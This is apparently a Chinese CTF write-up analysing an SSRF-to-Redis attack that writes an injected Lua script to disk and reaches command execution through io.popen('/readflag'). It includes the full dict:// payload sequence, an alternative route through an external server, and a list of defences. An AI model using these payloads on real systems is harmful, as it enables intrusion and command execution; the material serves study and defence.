Redis SSRF漏洞利用与Lua脚本注入攻击分析<\/h1>

漏洞背景<\/h2>
本案例是一个典型的SSRF(Server-Side Request Forgery)漏洞结合Redis未授权访问漏洞的实际攻击场景。攻击者通过Web应用的SSRF漏洞，利用Redis的配置缺陷，最终通过Lua脚本注入获取系统权限并读取flag。<\/p>

环境分析<\/h2>

关键组件<\/h3>

Web应用<\/strong>：存在SSRF漏洞的Web服务<\/li>
Redis服务<\/strong>：内网运行的Redis数据库(6379端口)，配置存在缺陷<\/li>

Docker环境<\/strong>：flag文件设置了root权限，但提供了具有SUID权限的\/readflag<\/code>可执行文件<\/li> <\/ul> 关键配置<\/h3> Redis配置中enable-module-command no<\/code>，排除了主从复制攻击的可能性<\/li> 无计划任务和SSH服务配置，排除了crontab和SSH公钥注入的攻击方式<\/li> <\/ul> 漏洞利用步骤<\/h2> 1. SSRF漏洞验证<\/h3> 首先验证SSRF漏洞的存在：<\/p> dict:\/\/127.0.0.1:6379\/info <\/span><\/span><\/span><\/code><\/pre>此请求会返回Redis服务信息，确认SSRF漏洞和内网Redis服务的存在。<\/p> 2. Redis未授权访问利用<\/h3> 确认Redis服务后，执行以下操作序列：<\/p> 清空Redis数据库<\/strong>：<\/p> dict:\/\/127.0.0.1:6379\/flushall <\/span><\/span><\/span><\/code><\/pre><\/li> 设置Redis持久化目录<\/strong>：<\/p> dict:\/\/127.0.0.1:6379\/config set dir \/scripts <\/span><\/span><\/span><\/code><\/pre><\/li> 设置持久化文件名<\/strong>：<\/p> dict:\/\/127.0.0.1:6379\/config set dbfilename visit.script <\/span><\/span><\/span><\/code><\/pre><\/li> <\/ol> 3. Lua脚本注入<\/h3> 关键攻击步骤 - 注入恶意Lua脚本：<\/p> dict:\/\/127.0.0.1:6379\/set shell "\n\n\n##LUA_START##ngx.say(io.popen('\/readflag'):read('*a'))##LUA_END##\n\n\n" <\/span><\/span><\/span><\/code><\/pre>解释：<\/p> 使用Redis的set<\/code>命令创建一个键值对<\/li> 值中包含特殊标记##LUA_START##<\/code>和##LUA_END##<\/code>包裹的恶意Lua代码<\/li> 额外的换行符用于确保脚本在文件中正确解析<\/li> <\/ul> 4. 持久化攻击载荷<\/h3> 将Redis内存中的数据持久化到磁盘：<\/p> dict:\/\/127.0.0.1:6379\/save <\/span><\/span><\/span><\/code><\/pre>此操作会将包含恶意Lua脚本的数据写入\/scripts\/visit.script<\/code>文件。<\/p> 技术原理分析<\/h2> Lua脚本执行机制<\/h3> 目标系统存在以下执行流程：<\/p> 主Lua脚本(main.lua<\/code>)会读取visit.script<\/code>文件内容<\/li> 使用模式匹配提取##LUA_START##(.-)##LUA_END##<\/code>之间的内容<\/li> 执行提取出的Lua代码<\/li> <\/ol> 恶意Lua代码解析<\/h3> ngx.say(io.popen('\/readflag'<\/span>):read('*a'<\/span>)) <\/span><\/span><\/code><\/pre> io.popen('\/readflag')<\/code>: 执行系统命令\/readflag<\/code>并返回文件句柄<\/li> :read('*a')<\/code>: 读取命令的全部输出<\/li> ngx.say()<\/code>: 通过Nginx输出结果到客户端<\/li> <\/ul> 为什么选择visit.script而非main.lua<\/h3> 格式问题<\/strong>：直接写入main.lua<\/code>会包含Redis存储的额外元数据，导致Lua解释器报错<\/li> 内容过滤<\/strong>：visit.script<\/code>通过模式匹配提取特定标记间的内容，避免了格式问题<\/li> 执行时机<\/strong>：visit.script<\/code>在每次请求时被加载执行，而main.lua<\/code>可能只加载一次<\/li> <\/ol> 替代攻击方案<\/h2> 通过外部Web服务器注入<\/h3> 搭建临时Web服务器，内容为： ##LUA_START##ngx.say(io.popen('\/readflag'):read('*a'))##LUA_END## <\/code><\/pre> <\/li> 通过SSRF请求该Web服务器<\/li> Redis会记录请求内容到内存<\/li> 使用save<\/code>命令持久化到visit.script<\/code><\/li> 触发Lua脚本执行<\/li> <\/ol> 防御措施<\/h2> 针对SSRF<\/h3> 限制Web应用的请求协议(禁用dict:\/\/, file:\/\/等危险协议)<\/li> 实施URL白名单机制<\/li> 使用DNS解析限制(禁止解析内网IP)<\/li> <\/ol> 针对Redis<\/h3> 设置Redis密码认证<\/li> 绑定Redis到127.0.0.1或内网IP<\/li> 禁用危险命令(如CONFIG<\/code>, SAVE<\/code>)<\/li> 设置适当的文件权限<\/li> <\/ol> 针对Lua执行<\/h3> 沙箱化Lua执行环境<\/li> 禁用危险函数(如io.popen<\/code>)<\/li> 严格验证输入内容<\/li> <\/ol> 总结<\/h2> 本案例展示了如何通过SSRF漏洞利用内网Redis服务的配置缺陷，结合Lua脚本注入技术实现权限提升。攻击的关键在于：<\/p> 发现并验证SSRF漏洞<\/li> 利用Redis未授权访问修改配置<\/li> 通过精心构造的Lua脚本绕过执行限制<\/li> 利用系统SUID程序获取高权限<\/li> <\/ol> 这种攻击方式在CTF比赛中较为常见，也反映了现实世界中配置不当导致的安全风险。<\/p>

Redis SSRF漏洞利用与Lua脚本注入攻击分析<\/h1>

漏洞背景<\/h2> 本案例是一个典型的SSRF(Server-Side Request Forgery)漏洞结合Redis未授权访问漏洞的实际攻击场景。攻击者通过Web应用的SSRF漏洞，利用Redis的配置缺陷，最终通过Lua脚本注入获取系统权限并读取flag。<\/p>

环境分析<\/h2>

漏洞利用步骤<\/h2>

替代攻击方案<\/h2>

防御措施<\/h2>

漏洞背景<\/h2>
本案例是一个典型的SSRF(Server-Side Request Forgery)漏洞结合Redis未授权访问漏洞的实际攻击场景。攻击者通过Web应用的SSRF漏洞，利用Redis的配置缺陷，最终通过Lua脚本注入获取系统权限并读取flag。<\/p>